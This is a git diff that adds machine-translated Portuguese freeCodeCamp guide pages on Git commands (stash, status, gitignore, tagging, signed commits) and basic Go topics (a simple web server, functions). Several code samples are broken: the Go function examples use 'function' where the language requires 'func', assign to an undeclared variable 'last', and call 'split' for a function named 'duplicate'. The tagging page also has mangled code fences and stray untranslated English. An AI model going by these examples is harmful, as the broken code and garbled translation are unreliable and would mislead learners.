+Essa funcionalidade é útil quando você faz alterações em uma ramificação que não está pronta para confirmar, mas precisa alternar para outra ramificação.
+
+### Stash Changes
+
+Para salvar suas alterações no stash, execute o comando:
+
+```shell
+git stash save "optional message for yourself" 
+```
+
+Isso salva suas alterações e reverte o diretório de trabalho para a aparência do último commit. As alterações ocultas estão disponíveis em qualquer ramificação nesse repositório.
+
+Observe que as alterações que você deseja ocultar precisam estar nos arquivos rastreados. Se você criou um novo arquivo e tentar esconder as alterações, poderá receber o erro `No local changes to save` .
+
+### Visualizar alterações ocultas
+
+Para ver o que está no seu stash, execute o comando:
+
+```shell
+git stash list 
+```
+
+Isso retorna uma lista de seus instantâneos salvos no formato `stash@{0}: BRANCH-STASHED-CHANGES-ARE-FOR: MESSAGE` . A parte `stash@{0}` é o nome do stash e o número nas chaves ( `{ }` ) é o índice desse stash. Se você tiver vários conjuntos de alterações armazenados, cada um deles terá um índice diferente.
+
+Se você esqueceu quais alterações foram feitas no stash, você pode ver um resumo delas com `git stash show NAME-OF-STASH` . Se você quiser ver o layout típico do patch no estilo diff (com os + e os 's' para alterações linha por linha), você pode incluir a opção `-p` (para patch). Aqui está um exemplo:
+
+```shell
+git stash show -p stash@{0} 
+ 
+ # Example result: 
+ diff --git a/PathToFile/fileA b/PathToFile/fileA 
+ index 2417dd9..b2c9092 100644 
+ --- a/PathToFile/fileA 
+ +++ b/PathToFile/fileA 
+ @@ -1,4 +1,4 @@ 
+ -What this line looks like on branch 
+ +What this line looks like with stashed changes 
+```
+
+### Recuperar alterações ocultas
+
+Para recuperar as alterações do stash e aplicá-las ao ramo atual em que você está, você tem duas opções:
+
+1.  `git stash apply STASH-NAME` aplica as alterações e deixa uma cópia no stash
+2.  `git stash pop STASH-NAME` aplica as alterações e remove os arquivos do stash
+
+Pode haver conflitos quando você aplica alterações. Você pode resolver os conflitos semelhantes a uma mesclagem ( [consulte Mesclar o Git para obter detalhes](https://guide.freecodecamp.org/git/git-merge/) ).
+
+### Excluir alterações ocultas
+
+Se você quiser remover as alterações ocultas sem aplicá-las, execute o comando:
+
+```shell
+git stash drop STASH-NAME 
+```
+
+Para limpar todo o stash, execute o comando:
+
+```shell
+git stash clear 
+```
+
+### Mais Informações:
+
+*   O comando `git merge` : [fCC Guide](https://guide.freecodecamp.org/git/git-merge/)
+*   Documentação do Git: [stash](https://git-scm.com/docs/git-stash)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-status/index.md b/client/src/guide/portuguese/git/git-status/index.md
new file mode 100644
index 0000000000..37eb21d126
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-status/index.md
@@ -0,0 +1,17 @@
+---
+title: Git Status
+localeTitle: Status do Git
+---
+## Status do Git
+
+O comando `git status` exibe o estado do diretório de trabalho e da área de preparação. Ele exibe caminhos que possuem diferenças entre o arquivo de `index` e a consolidação `HEAD` atual, caminhos que possuem diferenças entre a árvore de trabalho e o arquivo de `index` e caminhos na árvore de trabalho que não são rastreados pelo Git (e não são ignorados pelo [gitignore](https://git-scm.com/docs/gitignore)
+
+`git status` saída do comando `git status` não mostra nenhuma informação sobre o histórico do projeto comprometido. Para isso, você precisa usar o `git log` .
+
+### Uso
+
+```shell
+git status 
+```
+
+Listar quais arquivos são preparados, não organizados e não rastreados.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-verifying-commits/index.md b/client/src/guide/portuguese/git/git-verifying-commits/index.md
new file mode 100644
index 0000000000..68e2b49007
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-verifying-commits/index.md
@@ -0,0 +1,19 @@
+---
+title: Git Verifying Commits
+localeTitle: Git Verificando Commits
+---
+## Git Verificando Commits
+
+Quando você cria softwares com pessoas de todo o mundo, às vezes é importante validar que os commits e tags são provenientes de uma fonte identificada. O Git suporta assinatura de commits e tags com o GPG. O GitHub mostra quando os commits e tags são assinados.
+
+![Compromissos verificados](https://cloud.githubusercontent.com/assets/25792/14253743/87b504be-fa41-11e5-9140-6dc8b7203c31.png)
+
+Quando você visualizar uma confirmação ou tag assinada, verá um selo indicando se a assinatura pode ser verificada usando qualquer uma das chaves GPG do contribuidor enviadas para o GitHub. Você pode fazer upload de suas chaves GPG visitando a página de configurações de chaves.
+
+Muitos projetos de código aberto e empresas querem ter certeza de que um commit é de uma fonte verificada. A verificação de assinatura GPG em commits e tags facilita a visualização de quando uma confirmação ou tag é assinada por uma chave verificada que o GitHub conhece.
+
+![Assinatura Verificada](https://cloud.githubusercontent.com/assets/25792/14290042/5b27dab2-fb12-11e5-9ff9-44116a7780ea.png)
+
+### Mais Informações:
+
+*   [Assinando seu trabalho](https://git-scm.com/book/en/v2/Git-Tools-Signing-Your-Work)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/gitignore/index.md b/client/src/guide/portuguese/git/gitignore/index.md
new file mode 100644
index 0000000000..4966a3663c
--- /dev/null
+++ b/client/src/guide/portuguese/git/gitignore/index.md
@@ -0,0 +1,49 @@
+---
+title: Gitignore
+localeTitle: .gitignore
+---
+## Gitignore
+
+O arquivo `.gitignore` é um arquivo de texto que informa ao Git quais arquivos ou pastas ignorar em um projeto.
+
+Um arquivo `.gitignore` local geralmente é colocado no diretório raiz de um projeto. Você também pode criar um arquivo global `.gitignore` e quaisquer entradas nesse arquivo serão ignoradas em todos os seus repositórios Git.
+
+Para criar um arquivo `.gitignore` local, crie um arquivo de texto e nomeie-o como `.gitignore` (lembre-se de incluir o `.` No início). Em seguida, edite esse arquivo conforme necessário. Cada nova linha deve listar um arquivo ou pasta adicional que você deseja que o Git ignore.
+
+As entradas neste arquivo também podem seguir um padrão correspondente.
+
+*   `*` é usado como correspondência de caractere curinga
+*   `/` é usado para ignorar nomes de caminho relativos ao arquivo `.gitignore`
+*   `#` é usado para adicionar comentários a um arquivo `.gitignore`
+
+Este é um exemplo de como o arquivo `.gitignore` poderia ser:
+```
+# Ignore Mac system files 
+ .DS_store 
+ 
+ # Ignore node_modules folder 
+ node_modules 
+ 
+ # Ignore all text files 
+ *.txt 
+ 
+ # Ignore files related to API keys 
+ .env 
+ 
+ # Ignore SASS config files 
+ .sass-cache 
+```
+
+Para adicionar ou alterar seu arquivo global .gitignore, execute o seguinte comando:
+
+```bash
+git config --global core.excludesfile ~/.gitignore_global 
+```
+
+Isto irá criar o arquivo `~/.gitignore_global` . Agora você pode editar esse arquivo da mesma forma que um arquivo `.gitignore` local. Todos os seus repositórios Git irão ignorar os arquivos e pastas listados no arquivo `.gitignore` global.
+
+### Mais Informações:
+
+*   Documentação do Git: [gitignore](https://git-scm.com/docs/gitignore)
+*   Ignorando arquivos: [GitHub](https://help.github.com/articles/ignoring-files/)
+*   `.gitignore` úteis `.gitignore` : [GitHub](https://github.com/github/gitignore)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/gui-options/index.md b/client/src/guide/portuguese/git/gui-options/index.md
new file mode 100644
index 0000000000..1ef6385a3a
--- /dev/null
+++ b/client/src/guide/portuguese/git/gui-options/index.md
@@ -0,0 +1,16 @@
+---
+title: GUI Options
+localeTitle: Opções da GUI
+---
+## Opções de GUI para o Git
+
+A maioria das pessoas prefere usar o Git como uma ferramenta [CLI (interface de linha de comando)](https://en.wikipedia.org/wiki/Command-line_interface) , mas existem muitas ferramentas [GUI (graphical user interface)](https://en.wikipedia.org/wiki/Graphical_user_interface) que permitem usar o Git de maneira gráfica. As ferramentas da GUI podem ser úteis para obter uma visão melhor do estado do seu repositório Git, e algumas podem achar mais fáceis de usar do que a CLI. No entanto, saber como usar o CLI é altamente recomendado, porque será a mesma interface em todas as plataformas, porque geralmente é considerado mais eficiente e porque é necessário, assim que você quiser fazer algo um pouco complexo .
+
+## Lista de soluções baseadas em GUI do Git
+
+*   [O GitKraken](https://www.gitkraken.com) é uma popular GUI do Git para Windows, Mac e Linux. É proprietária, mas gratuita para uso não comercial.
+*   [O GitHub Desktop](https://desktop.github.com/) é o aplicativo cliente Git fornecido pelo GitHub, permitindo uma melhor integração com o GitHub do que outras soluções. Está disponível para Windows e Mac, mas ainda não para o Linux. É gratuito e de código aberto.
+*   [O SourceTree](https://www.sourcetreeapp.com/) é outro Git GUI para Windows e Mac da Atlassian. Ele tem muitos recursos, como rebase interativo, projetado para tornar o uso do Git mais fácil para iniciantes.
+*   [O Git Tower](https://www.git-tower.com/mac/) está disponível para Mac e Windows.
+*   [O TortoiseGit](https://tortoisegit.org/) é uma interface do Windows Shell para o Git baseada no TortoiseSVN. É open source e pode ser construído com software disponível gratuitamente.
+*   [O SmartGit](https://www.syntevo.com/smartgit/) é um cliente Git gratuito para uso não comercial para Windows, Mac e Linux.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/index.md b/client/src/guide/portuguese/git/index.md
new file mode 100644
index 0000000000..7aa871827b
--- /dev/null
+++ b/client/src/guide/portuguese/git/index.md
@@ -0,0 +1,117 @@
+---
+title: Git
+localeTitle: ir
+---
+## Git
+
+O Git é um sistema de controle de versão distribuído de código aberto criado em 2005 por Linus Torvalds e outros da comunidade de desenvolvimento Linux. O Git pode trabalhar com muitos tipos de projetos, mas é mais comumente usado para código-fonte de software.
+
+O controle de versão é um sistema que controla as alterações em um arquivo ou grupo de arquivos ao longo do tempo. Quando você tem um histórico dessas alterações, ele permite que você localize versões específicas mais tarde, compare as alterações entre as versões, recupere arquivos que você tenha excluído ou reverta arquivos para versões anteriores.
+
+Um sistema de controle de versão _distribuído_ significa que usuários diferentes mantêm seus próprios repositórios de um projeto, em vez de trabalharem a partir de um repositório central. Os usuários têm automaticamente capacidades completas de rastreamento de arquivos e o histórico completo da versão do projeto, sem precisar de acesso a um servidor central ou rede.
+
+Quando o Git é inicializado em um diretório de projeto, ele começa a rastrear as alterações do arquivo e as armazena como "conjuntos de alterações" ou "correções". Os usuários que trabalham juntos em um projeto enviam seus conjuntos de alterações que são incluídos (ou rejeitados) no projeto.
+
+**Índice**
+
+*   [Entenda as três seções de um projeto Git](#understand-the-three-sections-of-a-git-project)
+*   [Instalar o Git](#install-git)
+*   [Configurar o ambiente do Git](#configure-the-git-environment)
+*   [Inicializar o Git em um projeto](#initialize-git-in-a-project)
+*   [Obtenha ajuda no Git](#get-help-in-git)
+*   [Fontes](#sources)
+*   [Mais Informações](#more-information)
+
+### Entenda as três seções de um projeto Git
+
+Um projeto Git terá as seguintes três seções principais:
+
+1.  Diretório Git
+2.  Diretório de trabalho (ou árvore de trabalho)
+3.  Área de preparação
+
+O **diretório Git** (localizado em `YOUR-PROJECT-PATH/.git/` ) é onde o Git armazena tudo o que precisa para rastrear com precisão o projeto. Isso inclui metadados e um banco de dados de objetos que inclui versões compactadas dos arquivos de projeto.
+
+O **diretório de trabalho** é onde o usuário faz alterações locais em um projeto. O diretório de trabalho extrai os arquivos do projeto do banco de dados de objetos do diretório Git e os coloca na máquina local do usuário.
+
+A **área temporária** é um arquivo (também chamado de "index", "stage" ou "cache") que armazena informações sobre o que irá para o seu próximo commit. Um commit é quando você diz ao Git para salvar essas mudanças em etapas. O Git tira um instantâneo dos arquivos como estão e armazena permanentemente o instantâneo no diretório Git.
+
+Com três seções, há três estados principais em que um arquivo pode estar em um determinado momento: confirmado, modificado ou testado. Você _modifica_ um arquivo sempre que fizer alterações nele em seu diretório de trabalho. Em seguida, é _preparado_ quando você o move para a área de preparação. Finalmente, é _confirmado_ após um commit.
+
+### Instalar o Git
+
+*   Ubuntu: `sudo apt-get install git`
+*   Windows: [Download](https://git-scm.com/download/win)
+*   Mac: [Download](https://git-scm.com/download/mac)
+
+### Configurar o ambiente do Git
+
+O Git possui uma ferramenta de `git config` que permite personalizar seu ambiente Git. Você pode mudar a aparência e funcionamento do Git definindo certas variáveis ​​de configuração. Execute esses comandos a partir de uma interface de linha de comando em sua máquina (Terminal no Mac, Prompt de Comando ou Powershell no Windows).
+
+Existem três níveis de onde essas variáveis ​​de configuração são armazenadas:
+
+1.  Sistema: localizado em `/etc/gitconfig` , aplica configurações padrão a todos os usuários do computador. Para fazer alterações neste arquivo, use a opção `--system` com o comando `git config` .
+2.  Usuário: localizado em `~/.gitconfig` ou `~/.config/git/config` , aplica as configurações a um único usuário. Para fazer alterações neste arquivo, use a opção `--global` com o comando `git config` .
+3.  Projeto: localizado em `YOUR-PROJECT-PATH/.git/config` , aplica as configurações apenas ao projeto. Para fazer alterações neste arquivo, use o comando `git config` .
+
+Se houver configurações conflitantes entre si, as configurações no nível do projeto substituirão as do nível do usuário e as configurações no nível do usuário substituirão as do nível do sistema.
+
+Nota para usuários do Windows: O Git procura pelo arquivo de configuração no nível do usuário ( `.gitconfig` ) no diretório `$HOME` ( `C:\Users\$USER` ). O Git também procura pelo `/etc/gitconfig` , embora seja relativo à raiz do MSys, que é onde você decide instalar o Git em seu sistema Windows quando você executa o instalador. Se você estiver usando a versão 2.x ou posterior do Git para Windows, há também um arquivo de configuração no nível do sistema em `C:\Documents and Settings\All Users\Application Data\Git\config` no Windows XP e em `C:\ProgramData\Git\config` no Windows Vista e mais recente. Este arquivo de configuração só pode ser alterado por `git config -f FILE` como administrador.
+
+#### Adicione seu nome e email
+
+O Git inclui o nome do usuário e o email como parte das informações em um commit. Você desejará configurá-lo em seu arquivo de configuração no nível do usuário com estes comandos:
+
+```shell
+git config --global user.name "My Name" 
+ git config --global user.email "myemail@example.com" 
+```
+
+#### Alterar seu editor de texto
+
+O Git usa automaticamente seu editor de texto padrão, mas você pode mudar isso. Aqui está um exemplo para usar o editor Atom (a opção `--wait` diz ao shell para esperar pelo editor de texto para que você possa fazer o seu trabalho antes que o programa seja movido):
+
+```shell
+git config --global core.editor "atom --wait" 
+```
+
+#### Adicionar cor à saída Git
+
+Você pode configurar seu shell para adicionar cor à saída do Git com este comando:
+
+```shell
+git config --global color.ui true 
+```
+
+Para ver todas as suas configurações, use o comando `git config --list` .
+
+### Inicializar o Git em um projeto
+
+Uma vez que o Git esteja instalado e configurado no seu computador, você precisa inicializá-lo em seu projeto para começar a usar seus poderes de controle de versão. Na linha de comando, use o comando `cd` para navegar até a pasta de nível superior (ou raiz) do seu projeto. Em seguida, execute o comando `git init` . Isso instala uma pasta de diretório Git com todos os arquivos e objetos que o Git precisa para rastrear seu projeto.
+
+É importante que o diretório Git esteja instalado na pasta raiz do projeto. O Git pode rastrear arquivos em subpastas, mas não rastreará arquivos localizados em uma pasta pai relativa ao diretório Git.
+
+### Obtenha ajuda no Git
+
+Se você esquecer como qualquer comando funciona no Git, você pode acessar a ajuda do Git na linha de comando de várias maneiras:
+
+```shell
+git help COMMAND 
+ git COMMAND --help 
+ man git-COMMAND 
+```
+
+Isso exibe a página de manual do comando na janela do seu shell. Para navegar, role com as teclas de seta para cima e para baixo ou use os seguintes atalhos de teclado:
+
+*   `f` ou `spacebar` de `spacebar` para avançar página
+*   `b` para voltar atrás
+*   `q` sair
+
+### Fontes
+
+Este artigo usa informações do livro [Pro Git](https://github.com/progit/progit2) , escrito por Scott Chacon e Ben Straub e publicado pela Apress. O livro é exibido na íntegra na [documentação](https://git-scm.com/book/en/v2) do [Git](https://git-scm.com/book/en/v2) .
+
+### Mais Informações:
+
+*   Para downloads, documentação e um tutorial baseado em navegador: [Site oficial do Git](https://git-scm.com/)
+*   Comandos mais úteis quando você está em má situação GIT: [Oh merda, git!](http://ohshitgit.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/tagging-in-git/index.md b/client/src/guide/portuguese/git/tagging-in-git/index.md
new file mode 100644
index 0000000000..57556c644e
--- /dev/null
+++ b/client/src/guide/portuguese/git/tagging-in-git/index.md
@@ -0,0 +1,205 @@
+---
+title: Tagging in Git
+localeTitle: Marcação no Git
+---
+A marcação permite que os desenvolvedores marquem pontos de verificação importantes no decorrer do desenvolvimento de seus projetos. Por exemplo, versões de lançamento de software podem ser marcadas. (Ex: v1.3.2) Essencialmente permite que você dê um commit a um nome especial (tag).
+
+Para ver todas as tags criadas em ordem alfabética:
+
+```bash
+git tag 
+```
+
+Para obter mais informações sobre uma tag:
+
+```bash
+git show v1.4 
+```
+
+Existem dois tipos de tags:
+
+1.  Anotado
+
+```bash
+git tag -a v1.2 -m "my version 1.4" 
+```
+
+2.  Peso leve
+
+```bash
+git tag v1.2 
+```
+
+Eles diferem na maneira como são armazenados.  
+Estes criam tags no seu commit atual.
+
+Incase, você gostaria de marcar uma confirmação anterior para especificar o código de confirmação que você gostaria de marcar:
+
+```bash
+git tag -a v1.2 9fceb02 
+```
+
+Os nomes de tags podem ser usados ​​em vez de IDs de confirmação durante o check-out e o envio de confirmações para um repositório remoto.
+
+#### Mais Informações:
+
+*   Documentação do Git: [Documentação](https://git-scm.com/docs/git-tag)
+*   Git Tagging Chapter: [Livro](https://git-scm.com/book/en/v2/Git-Basics-Tagging)
+
+Você pode listar todas as tags disponíveis em um projeto com o comando `git tag` (nate que elas aparecerão em ordem alfabética):
+```
+$ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+```
+
+Essa maneira de listar tags é ótima para projetos pequenos, mas projetos maiores podem ter centenas de tags, portanto, talvez seja necessário filtrá-los ao pesquisar um ponto importante no histórico. Você pode encontrar tags contendo caracteres específicos adicionando um `-l` ao comando `git tag` :
+```
+$ git tag -l "v2.0*" 
+ v2.0.1 
+ v2.0.2 
+ v2.0.3 
+ v2.0.4 
+```
+
+## Crie uma tag
+
+Você pode criar dois tipos de tags: anotadas e leves. Os primeiros são competir objetos no banco de dados do GIT: eles são checksummed, requiere uma mensagem (como commits) e armazenam outros dados importantes, como nome, e-mail e data. Por outro lado, as tags leves não exigem uma mensagem ou armazenam outros dados, funcionando apenas como um ponteiro para um ponto específico no projeto.
+
+### Crie uma tag anotada
+
+Para criar uma tag anotada, adicione `-a tagname -m "tag message"` ao comando `git tag` :
+```
+$ git tag -a v4.0 -m "release version 4.0" 
+ $ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+ v4.0 
+```
+
+Como você pode ver, o `-a` especifica que você está criando uma tag anotada, depois vem o nome da tag e, finalmente, o `-m` seguido pela mensagem de tag para armazenar no banco de dados do Git.
+
+### Crie uma tag leve
+
+As tags leves contêm apenas a soma de verificação de confirmação (nenhuma outra informação é armazenada). Para criar um, apenas execute o comando `git tag` sem nenhuma outra opção (os caracteres -lw no final do nome são usados ​​para indicar tags leves, mas você pode marcá-los como quiser):
+```
+$ git tag v4.1-lw 
+ $ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+ v4.0 
+ v4.1-lw 
+```
+
+Desta vez, você não especificou uma mensagem ou outros dados relevantes, portanto, a tag contém apenas a soma de verificação do commit referenciado.
+
+## Ver dados da tag
+
+Você pode executar o comando `git show` para visualizar os dados armazenados em uma tag. No caso de tags anotadas, você verá os dados da tag e os dados de confirmação:
+```
+$ git show v4.0 
+ tag v4.0 
+ Tagger: John Cash <john@cash.com> 
+ Date:   Mon Sat 28 15:00:25 2017 -0700 
+ 
+ release version 4.0 
+ 
+ commit da43a5fss745av88d47839247990022a98419093 
+ Author: John Cash <john@cash.com> 
+ Date:   Fri Feb 20 20:30:05 2015 -0700 
+ 
+  finished details 
+```
+
+Se a tag que você está assistindo for uma tag leve, você verá apenas os dados de confirmação referenciados:
+```
+$ git show v1.4-lw 
+ commit da43a5f7389adcb9201ab0a289c389ed022a910b 
+ Author: John Cash <john@cash.com> 
+ Date:   Fri Feb 20 20:30:05 2015 -0700 
+ 
+  finished details 
+```
+
+## Marcando compromissos antigos
+
+Você também pode marcar as confirmações passadas usando o commit da tag git. Para fazer isso, você precisará especificar a soma de verificação da confirmação (ou pelo menos uma parte dela) na linha do comando.
+
+Primeiro, execute git log para descobrir a soma de verificação do commit necessário:
+```
+$ git log --pretty=oneline 
+ ac2998acf289102dba00823821bee04276aad9ca added products section 
+ d09034bdea0097726fd8383c0393faa0072829a7 refactorization 
+ a029ac120245ab012bed1ca771349eb9cca01c0b modified styles 
+ da43a5f7389adcb9201ab0a289c389ed022a910b finished details 
+ 0adb03ca013901c1e02174924486a08cea9293a2 small fix in search textarea styles 
+```
+
+Quando você tiver a soma de verificação necessária, adicione-a no final da linha de criação da tag:
+```
+$ git tag -a v3.5 a029ac 
+```
+
+Você verá a tag foi adicionada corretamente com a `git tag` :
+```
+$ git tag 
+ v1.0 
+ v2.0 
+ v3.0 
+ v3.5 
+ v4.0 
+ v4.1-lw 
+```
+
+## Empurre tags
+
+O Git não envia tags por padrão quando você executa o comando git push. Então, para enviar uma tag com sucesso para um servidor, você terá que `git push origin` comando `git push origin` :
+```
+$ git push origin v4.0 
+ Counting objects: 14, done. 
+ Delta compression using up to 8 threads. 
+ Compressing objects: 100% (16/16), done. 
+ Writing objects: 100% (18/18), 3.15 KiB | 0 bytes/s, done. 
+ Total 18 (delta 4), reused 0 (delta 0) 
+ To git@github.com:jcash/gitmanual.git 
+ * [new tag]         v4.0 -> v4.0 
+ ``` 
+ 
+ You can also use the ```--tags``` option to add multiple tags at once with the ```git push origin``` command: 
+```
+
+$ git push origin --tags Contando objetos: 1, pronto. Escrevendo objetos: 100% (1/1), 160 bytes | 0 bytes / s, pronto. Total 1 (delta 0), reutilizado 0 (delta 0) Para git@github.com: jcash / gitmanual.git
+
+*   \[nova tag\] v4.0 -> v4.0
+*   \[nova tag\] v4.1-lw -> v4.1-lw
+```
+## Checking out Tags 
+ 
+ You can use ```git checkout``` to checkout to a tag like you would normally do. But you need to keep in mind that this would result a *detached HEAD* state. 
+```
+
+$ git checkout v0.0.3 Nota: confirmando 'v0.0.3'.
+
+Você está no estado 'HEAD' desanexado. Você pode olhar em volta, fazer experimental alterações e cometer, e você pode descartar qualquer commits que você fizer neste Estado sem afetar quaisquer filiais, executando outro checkout.
+```
+## Deleting a Tag 
+ 
+ You may find a situation were you want to delete a certain tag. There's a very useful command for this situations: 
+```
+
+$ git tag --delete v0.0.2 $ git tag v0.0.1 v0.0.3 v0.0.4 \`\` \`
+
+### Mais Informações
+
+*   [Git Pro - Noções básicas sobre tags](https://git-scm.com/book/en/v2/Git-Basics-Tagging)
+*   [Git Pro - Documentação](https://git-scm.com/docs/git-tag)
+*   [Git HowTo](https://githowto.com/tagging_versions)
+*   [Sugestão: tags](http://alblue.bandlem.com/2011/04/git-tip-of-week-tags.html)
+*   [Criando uma tag](https://www.drupal.org/node/1066342)
+
+### Fontes
+
+Documentação do Git: [tags](https://git-scm.com/book/en/v2/Git-Basics-Tagging)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/a-simple-web-server-in-go/index.md b/client/src/guide/portuguese/go/a-simple-web-server-in-go/index.md
new file mode 100644
index 0000000000..fce4b0ce51
--- /dev/null
+++ b/client/src/guide/portuguese/go/a-simple-web-server-in-go/index.md
@@ -0,0 +1,32 @@
+---
+title: A simple web server in Go
+localeTitle: Um servidor web simples em Go
+---
A linguagem de programação Go é bem conhecida por ter um servidor da Web integrado. Neste artigo, você aprenderá como pode facilmente criar seu próprio servidor da Web com o Go. Você não precisará de nenhum outro pacote além daqueles que já foram construídos!
+
+Primeiro, entre no seu editor de texto. Em seguida, crie um arquivo chamado `webserver.go` e digite o seguinte código:
+
+```go
+package main 
+ 
+ import ( 
+  "net/http" 
+  "io" 
+ ) 
+ 
+ func main() { 
+  http.HandleFunc("/", servePage) 
+    http.ListenAndServe(":8080", nil) 
+ } 
+ 
+ func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+  io.WriteString(writer, "Hello world!") 
+ } 
+```
+
+Vamos quebrar o bloco de código acima. Nós importamos o pacote `net/http` : este pacote contém o próprio servidor web. Então nós também importamos o pacote `io` , nós usaremos isso mais tarde para realmente servir algo para o cliente.
+
+Na função `main` , fazemos duas coisas. Em primeiro lugar, instruímos o servidor para permitir que a função chamada `servePage` todo o tráfego de entrada para `/` - neste caso, significa que ele manipula solicitações para _qualquer_ `URL` . A segunda coisa que fazemos é realmente ativar o servidor. Fazemos isso usando uma função chamada `ListenAndServe` . Essa função requer dois parâmetros: a `port` (como `string` ), neste caso é `8080` , e o `handler` (como `Handler` ) - no entanto, o último ainda não é importante. Vamos apenas tornar `nil` e tudo vai funcionar bem.
+
+Na `servePage` , fazemos apenas uma coisa simples, por enquanto. Usando o pacote `io` e a função `WriteString` que ele contém, podemos responder à solicitação dos clientes com o texto `Hello world!` (ou qualquer outra string, claro). Você também deve ter notado que a função `servePage` possui dois argumentos: o `writer` e a `request` . Com o escritor, você pode responder a uma solicitação `HTTP` e, com a `request` pode obter mais informações sobre a solicitação em si.
+
+Parabéns! Você acabou de criar seu primeiro servidor web! Se você quiser testá-lo: apenas execute `go run webserver.go` , `go run webserver.go` um navegador e navegue até `http://localhost:8080` !
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/documentation/index.md b/client/src/guide/portuguese/go/documentation/index.md
new file mode 100644
index 0000000000..1da31a438e
--- /dev/null
+++ b/client/src/guide/portuguese/go/documentation/index.md
@@ -0,0 +1,14 @@
+---
+title: Documentation
+localeTitle: Documentação
+---
+# Documentação oficial
+
+1.  [Especificação de linguagem](https://golang.org/ref/spec)
+2.  [Ir eficaz](https://golang.org/doc/effective_go.html)
+
+## Godoc.org (https://godoc.org/)
+
+A documentação dentro do golang.org inclui a biblioteca padrão e o src.
+
+A coisa boa sobre o **godoc.org** é que inclui a biblioteca padrão e pacotes de terceiros.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/functions/index.md b/client/src/guide/portuguese/go/functions/index.md
new file mode 100644
index 0000000000..1bad0d16a1
--- /dev/null
+++ b/client/src/guide/portuguese/go/functions/index.md
@@ -0,0 +1,103 @@
+---
+title: Go Functions
+localeTitle: Ir funções
+---
+## Ir funções
+
+Uma função recebe zero ou mais parâmetros de qualquer tipo, faz alguma lógica com eles e pode retornar um ou mais valores. A sintaxe da função de Golang é:
+
+```go
+func sum(parameter1 int64, parameter2 int64) int64 { 
+  return parameter1+parameter2 
+ } 
+```
+
+Aqui, o nome da função é `add` . Leva para parâmetros, `parameter1` e `parameter2` do tipo `int64` e retorna outro int64, a soma dos dois parâmetros.
+
+### Retorna
+
+Depois que um `return` é atingido, a função sai sem executar mais código.
+
+```go
+func sum(parameter1 int64, parameter2 int64) int64 { 
+  return parameter1+parameter2 
+  // Unreachable code 
+  fmt.Printf("Don't print me") 
+ } 
+```
+
+### Chamando uma função
+
+A função acima seria chamada assim:
+
+```go
+sum(4, 5) 
+```
+
+O valor dessa expressão é 9.
+
+### Omitir tipo de parâmetro
+
+Se dois ou mais parâmetros consecutivos forem do mesmo tipo, pode ser indicado apenas uma vez.
+
+```go
+function foo(x, y, z int64, name string) { 
+  fmt.Printf("%d %d %d %s", x, y, z, name) 
+ } 
+```
+
+Aqui `x` , `y` e `z` são do tipo `int64` e `name` é uma string.
+
+### Retornando vários valores
+
+Uma função pode retornar zero ou mais valores. Para não retornar nada, omita o tipo de retorno:
+
+```go
+function helloWorld() { 
+  fmt.Printf("Hello world!") 
+ } 
+```
+
+Para retornar um valor, especifique seu tipo:
+
+```go
+function getHelloWorld() string { 
+  return "Hello world!" 
+ } 
+```
+
+Para retornar mais de um valor, especifique seus tipos, envolvidos em `()` e separados por vírgulas:
+
+```go
+function getHelloWorldAndBestLanguage() (string, string) { 
+  return "Hello world!", "Golang" 
+ } 
+```
+
+Para receber esses valores, simplesmente declare as variáveis ​​separadas por vírgulas da seguinte forma:
+
+```go
+helloWorld, bestLanguage := getHelloWorldAndBestLanguage() 
+ // helloWorld == "Hello world!" 
+ // bestLanguage == "Golang" 
+```
+
+### Retornos nuas
+
+Você pode nomear os tipos de retorno para que você não precise passar a variável para a declaração de retorno:
+
+```go
+func duplicate(s string) (first, second string) { 
+  first = s 
+  last = s 
+    return 
+ } 
+ 
+ func main() { 
+    fmt.Println(split("Hello world!")) // ("Hello world!", "Hello world!") 
+ } 
+```
+
+#### Mais Informações:
+
+https://tour.golang.org/basics/4
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/go-channels/index.md b/client/src/guide/portuguese/go/go-channels/index.md
new file mode 100644
index 0000000000..6422f91706
--- /dev/null
+++ b/client/src/guide/portuguese/go/go-channels/index.md
@@ -0,0 +1,16 @@
+---
+title: Go Channels
+localeTitle: Go Channels
+---
+## Go Channels
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/go/go-channels/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+*   [Um passeio de ir](https://tour.golang.org/concurrency/2)
+*   [Vá pelo exemplo](https://gobyexample.com/channels)
+*   [Livro Golang](https://www.golang-book.com/books/intro/10)
+*   [A especificação da linguagem de programação Go](https://golang.org/ref/spec#Making_slices_maps_and_channels)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/go-functions/index.md b/client/src/guide/portuguese/go/go-functions/index.md
new file mode 100644
index 0000000000..6e6cb46509
--- /dev/null
+++ b/client/src/guide/portuguese/go/go-functions/index.md
@@ -0,0 +1,50 @@
+---
+title: Go Functions
+localeTitle: Ir funções
+---
+## Ir funções
+
+Uma função é um bloco de código que executa uma tarefa quando é chamado, de modo que o nome da função a identifica e é usado para chamar a função.
+
+A declaração de uma função começa com a palavra-chave `func` seguida pelo nome da função e depois os argumentos da função e finalmente os tipos de valores retornados. A declaração liga o nome da função à função. Tenha em mente que o tipo vem depois do nome da variável nos argumentos e nos valores retornados. Um exemplo de declaração de uma função é o seguinte
+
+```go
+func add(a int, b int) int 
+```
+
+Uma função pode ter 0 ou muitos argumentos, dependendo de sua funcionalidade desejada
+
+```go
+func zero() int { /* Function Definition */ } 
+ func increment(x int) int { /* Function Definition */ } 
+ func add(x, y int) int { /* Function Definition */ } 
+```
+
